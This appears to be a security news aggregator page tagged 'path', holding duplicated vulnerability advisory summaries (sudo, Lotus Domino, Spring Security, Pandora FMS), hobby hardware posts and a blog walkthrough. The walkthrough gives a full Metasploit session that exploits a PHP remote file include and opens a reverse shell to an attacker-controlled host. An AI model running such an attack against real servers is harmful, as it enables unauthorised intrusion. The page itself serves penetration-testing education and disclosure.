«
Expand/Collapse
169 items tagged "path"
Related tags:
traversal [+],
session [+],
disclosure [+],
sudoedit [+],
sql [+],
php session [+],
injection [+],
library [+],
ld library [+],
forgery [+],
cross site scripting [+],
arbitrary code execution [+],
save [+],
php [+],
bypass [+],
vulnerability [+],
txt [+],
sql injection [+],
safe mode [+],
phpmysport [+],
path parameter [+],
mode restriction [+],
disclousure [+],
directory traversal vulnerability [+],
websitebaker [+],
vote [+],
user [+],
tinybb [+],
timthumb [+],
syndeocms [+],
starbox [+],
service path [+],
redaxscript [+],
razorcms [+],
razor [+],
rating [+],
pluck [+],
pligg [+],
phpmyadmin [+],
phpcollab [+],
pandora fms [+],
pandora [+],
manipulation [+],
linux security [+],
joomla [+],
jce [+],
hycus [+],
getsimple [+],
force [+],
fms [+],
enano [+],
dreambox [+],
dos path [+],
domino server [+],
denial of service [+],
dbhcms [+],
dalbum [+],
coppermine [+],
controller. authentication [+],
comment [+],
burning [+],
brute force [+],
board [+],
blog [+],
authentication [+],
whitepaper [+],
valerio [+],
user authentication [+],
unc path [+],
ubuntu [+],
spring [+],
security constraints [+],
search path [+],
robert buchholz [+],
python module [+],
path variables [+],
mdvsa [+],
mapping requests [+],
manager [+],
lotus domino server [+],
gentoo linux security [+],
gentoo [+],
drupal [+],
content manager [+],
content [+],
automation [+],
arbitrary code [+],
cms [+],
xaraya [+],
wordpress plugin [+],
web management [+],
web application developers [+],
vips [+],
video gallery [+],
uri [+],
uhttp [+],
typo [+],
tribiq [+],
tool [+],
swappable [+],
slogin [+],
server path [+],
server [+],
search [+],
safety checks [+],
safari search [+],
root privileges [+],
roaraudio [+],
read [+],
pyrit [+],
proof of concept [+],
prestashop [+],
polycom [+],
phpids [+],
php shell [+],
photo gallery [+],
path environment [+],
path directory [+],
passwords [+],
password database [+],
overflow [+],
outlook web access [+],
ocportal [+],
occasion [+],
news [+],
netbsd [+],
mono [+],
minsoft [+],
minbank [+],
metasploit [+],
management interface [+],
local [+],
led [+],
ketchup bottle [+],
ketchup [+],
jfreechart [+],
inspathx [+],
information leakage [+],
heinz automato [+],
hacks [+],
hacking [+],
hack [+],
habari [+],
gnucash [+],
flashlight [+],
evan broder [+],
ember [+],
dsa [+],
directory [+],
debug [+],
day [+],
david prutchi [+],
database path [+],
database [+],
cso [+],
command shell [+],
co2 cartridge [+],
bugzilla [+],
bugtraq [+],
bristol [+],
bill fienup [+],
beta [+],
barry kudrowitz [+],
back [+],
automatos [+],
automato [+],
authentications [+],
attachment [+],
artgk [+],
arbitrary [+],
apple safari [+],
anders kaseorg [+],
aluminum pipe [+],
Tools [+],
Pentesting [+],
Newbie [+],
Area [+],
9v batteries [+],
sudo [+],
todd miller [+],
privilege escalation vulnerability [+],
local privilege escalation [+],
htb [+],
secure path [+],
security [+]
-
-
9:01
»
Hack a Day
Whether you’re trying to light your path, build your own night vision, or do some tanning at home, this flashlight has you covered. [David Prutchi] designed the high power flashlight with three swappable heads. He built the base unit out of aluminum pipe. It’s got plenty of room for the four 9V batteries that act [...]
-
-
9:23
»
Packet Storm Security Exploits
TimThumb versions 1.24 and below suffer from cross site scripting, denial of service, path disclosure, and abuse of functionality vulnerabilities.
-
9:23
»
Packet Storm Security Recent Files
TimThumb versions 1.24 and below suffer from cross site scripting, denial of service, path disclosure, and abuse of functionality vulnerabilities.
-
9:23
»
Packet Storm Security Misc. Files
TimThumb versions 1.24 and below suffer from cross site scripting, denial of service, path disclosure, and abuse of functionality vulnerabilities.
-
-
15:52
»
Packet Storm Security Advisories
Zero Day Initiative Advisory 11-110 - This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Lotus Domino Server Controller. Authentication is not required to exploit this vulnerability. The flaw exists within the remote console functionality which listens by default on TCP port 2050. When handling A user authentication the server uses a user supplied COOKIEFILE path to retrieve stored credentials. The application then compares this data against the user provided username and cookie. The path to the COOKIEFILE can be a UNC path allowing the attacker to control both the known good credentials and the challenge credentials. A remote attacker can exploit this vulnerability to execute arbitrary code under the context of the SYSTEM user.
-
15:52
»
Packet Storm Security Recent Files
Zero Day Initiative Advisory 11-110 - This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Lotus Domino Server Controller. Authentication is not required to exploit this vulnerability. The flaw exists within the remote console functionality which listens by default on TCP port 2050. When handling A user authentication the server uses a user supplied COOKIEFILE path to retrieve stored credentials. The application then compares this data against the user provided username and cookie. The path to the COOKIEFILE can be a UNC path allowing the attacker to control both the known good credentials and the challenge credentials. A remote attacker can exploit this vulnerability to execute arbitrary code under the context of the SYSTEM user.
-
15:52
»
Packet Storm Security Misc. Files
Zero Day Initiative Advisory 11-110 - This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Lotus Domino Server Controller. Authentication is not required to exploit this vulnerability. The flaw exists within the remote console functionality which listens by default on TCP port 2050. When handling A user authentication the server uses a user supplied COOKIEFILE path to retrieve stored credentials. The application then compares this data against the user provided username and cookie. The path to the COOKIEFILE can be a UNC path allowing the attacker to control both the known good credentials and the challenge credentials. A remote attacker can exploit this vulnerability to execute arbitrary code under the context of the SYSTEM user.
-
-
10:56
»
Hack a Day
[Bill Fienup] and [Barry Kudrowitz]‘s robots, The Automatos, have been leaving a sticky path of destruction all over the internet. Their sole purpose: to crap ketchup. They accomplish this feat by dumping a CO2 cartridge into a ketchup bottle at the push of a button, leading to some pretty awesome results. While the details are a [...]
-
-
21:24
»
Packet Storm Security Exploits
Pandora FMS versions 3.1 and below suffer from authentication bypass, os command injection, remote SQL injection, remote file inclusion and path traversal vulnerabilities.
-
21:24
»
Packet Storm Security Recent Files
Pandora FMS versions 3.1 and below suffer from authentication bypass, os command injection, remote SQL injection, remote file inclusion and path traversal vulnerabilities.
-
21:24
»
Packet Storm Security Misc. Files
Pandora FMS versions 3.1 and below suffer from authentication bypass, os command injection, remote SQL injection, remote file inclusion and path traversal vulnerabilities.
-
-
1:01
»
Packet Storm Security Recent Files
Spring Security does not consider URL path parameters when processing security constraints. By adding an URL path parameter to a request, an attacker may be able to bypass a security constraint. The root cause of this issue is a lack of clarity regarding the handling of path parameters in the Servlet Specification (see below). Some Servlet containers include path parameters in the value returned for getPathInfo() and some do not. Spring Security uses the value returned by getPathInfo() as part of the process of mapping requests to security constraints. The unexpected presence of path parameters can cause a constraint to be bypassed.
-
1:01
»
Packet Storm Security Exploits
Spring Security does not consider URL path parameters when processing security constraints. By adding an URL path parameter to a request, an attacker may be able to bypass a security constraint. The root cause of this issue is a lack of clarity regarding the handling of path parameters in the Servlet Specification (see below). Some Servlet containers include path parameters in the value returned for getPathInfo() and some do not. Spring Security uses the value returned by getPathInfo() as part of the process of mapping requests to security constraints. The unexpected presence of path parameters can cause a constraint to be bypassed.
-
-
18:01
»
Packet Storm Security Recent Files
Gentoo Linux Security Advisory 201009-8 - An untrusted search path vulnerability in python-updater might result in the execution of arbitrary code. Robert Buchholz of the Gentoo Security Team reported that python-updater includes the current working directory and subdirectories in the Python module search path (sys.path) before calling import. Versions less than 0.7-r1 are affected.
-
18:00
»
Packet Storm Security Advisories
Gentoo Linux Security Advisory 201009-8 - An untrusted search path vulnerability in python-updater might result in the execution of arbitrary code. Robert Buchholz of the Gentoo Security Team reported that python-updater includes the current working directory and subdirectories in the Python module search path (sys.path) before calling import. Versions less than 0.7-r1 are affected.
-
-
22:02
»
Packet Storm Security Recent Files
Mandriva Linux Security Advisory 2010-118 - The secure path feature in env.c in sudo 1.3.1 through 1.6.9p22 and 1.7.0 through 1.7.2p6 does not properly handle an environment that contains multiple PATH variables, which might allow local users to gain privileges via a crafted value of the last PATH variable. The updated packages have been patched to correct this issue.
-
22:01
»
Packet Storm Security Advisories
Debian Linux Security Advisory 2062-1 - Anders Kaseorg and Evan Broder discovered a vulnerability in sudo, a program designed to allow a sysadmin to give limited root privileges to users, that allows a user with sudo permissions on certain programs to use those programs with an untrusted value of PATH. This could possibly lead to certain intended restrictions being bypassed, such as the secure_path setting.
-
22:01
»
Packet Storm Security Advisories
Mandriva Linux Security Advisory 2010-118 - The secure path feature in env.c in sudo 1.3.1 through 1.6.9p22 and 1.7.0 through 1.7.2p6 does not properly handle an environment that contains multiple PATH variables, which might allow local users to gain privileges via a crafted value of the last PATH variable. The updated packages have been patched to correct this issue.
-
-
18:25
»
remote-exploit & backtrack
Is there anybody can tell me where does pyrit stores the password database? I just ran pyrit -i dict import_passwords and I can see that the passwords are imported to a database path called "file:///" but I wonder where it is? :confused:
-
-
19:19
»
Carnal0wnage
Metasploit has a nifty PHP Remote File Include module that allows you to get a command shell from a RFI.
Not too complicated to use, set your normal RHOST/RPORT options, set the PATH and set your PHPURI with the vuln path and put XXpathXX where you would normally your php shell. So we take something like
Simple Text-File Login Remote File Include that has a vulnerable string of:
/[path]/slogin_lib.inc.php?slogin_path=[remote_txt_shell]
and make your PHPURI
PHPURI /slogin_lib.inc.php?slogin_path=XXpathXX
let's see it in action
msf > search php_include
[*] Searching loaded modules for pattern 'php_include'...
Exploits
========
Name Rank Description
---- ---- -----------
unix/webapp/php_include excellent PHP Remote File Include Generic Exploit
msf > use exploit/unix/webapp/php_include
msf exploit(php_include) > info
Name: PHP Remote File Include Generic Exploit
Version: 8762
Platform: PHP
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Provided by:
hdm
egypt
Available targets:
Id Name
-- ----
0 Automatic
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PATH / yes The base directory to prepend to the URL to try
PHPRFIDB /home/cg/evil/msf3/dev2/data/exploits/php/rfi-locations.dat no A local file containing a list of URLs to try, with XXpathXX replacing the URL
PHPURI no The URI to request, with the include parameter changed to XXpathXX
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 80 yes The target port
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Space: 32768
Description:
This module can be used to exploit any generic PHP file include
vulnerability, where the application includes code like the
following:
msf exploit(php_include) > set PHPURI /slogin_lib.inc.php?slogin_path=XXpathXX
PHPURI => /slogin_lib.inc.php?slogin_path=XXpathXX
msf exploit(php_include) > set PATH /1/
PATH => /1/
msf exploit(php_include) > set RHOST 192.168.6.68
RHOST => 192.168.6.68
msf exploit(php_include) > set RPORT 8899
RPORT => 8899
msf exploit(php_include) > set PAYLOAD php/reverse_php
PAYLOAD => php/reverse_php
msf exploit(php_include) > set LHOST 192.168.6.140
LHOST => 192.168.6.140
msf exploit(php_include) > exploit
[*] Started bind handler
[*] Using URL: http://192.168.6.140:8080/RvSIqhdft
[*] PHP include server started.
[*] Sending /1/slogin_lib.inc.php?slogin_path=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%36%2e%31%34%30%3a%38%30
%38%30%2f%52%76%53%49%71%68%64%66%74%3f
[*] Command shell session 1 opened (192.168.6.140:34117 -> 192.168.6.68:8899) at Sun May 09 21:37:26 -0400 2010
dir
0.jpeg header.inc.php license.txt slog_users.txt version.txt
1.jpeg index.asp old slogin.inc.php
adminlog.php install.txt readme.txt slogin_genpass.php
footer.inc.php launch.asp slog_users.php slogin_lib.inc.php
id uid=33(www-data) gid=33(www-data) groups=33(www-data)
-
-
22:00
»
Packet Storm Security Recent Files
Ubuntu Security Notice 928-1 - Valerio Costamagna discovered that sudo did not properly validate the path for the 'sudoedit' pseudo-command when the PATH contained only a dot ('.'). If secure_path and ignore_dot were disabled, a local attacker could exploit this to execute arbitrary code as root if sudo was configured to allow the attacker to use sudoedit. By default, secure_path is used and the sudoedit pseudo-command is not used in Ubuntu. This is a different but related issue to CVE-2010-0426.
-
22:00
»
Packet Storm Security Advisories
Ubuntu Security Notice 928-1 - Valerio Costamagna discovered that sudo did not properly validate the path for the 'sudoedit' pseudo-command when the PATH contained only a dot ('.'). If secure_path and ignore_dot were disabled, a local attacker could exploit this to execute arbitrary code as root if sudo was configured to allow the attacker to use sudoedit. By default, secure_path is used and the sudoedit pseudo-command is not used in Ubuntu. This is a different but related issue to CVE-2010-0426.